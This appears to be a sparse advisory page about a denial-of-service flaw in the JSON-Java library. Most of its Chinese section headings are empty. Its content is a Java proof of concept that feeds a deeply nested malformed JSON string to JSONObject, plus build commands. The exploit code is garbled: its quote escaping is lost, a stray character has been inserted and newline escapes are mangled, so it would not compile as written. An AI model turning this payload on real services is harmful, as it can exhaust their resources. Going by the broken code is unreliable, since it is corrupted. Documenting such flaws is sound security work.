【CVE】DoS Vulnerability in JSON-JAVA

漏洞详情

漏洞等级

POC 证明

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{"a":1}";
    }
    return "{"a":1;t�" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %sn", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %sn", output.toString().length(), output);
  }
}

深入分析

javac org/json/*.java -Xlint:unchecked
jar cf json-java.jar org/json/*.class org/json/*.java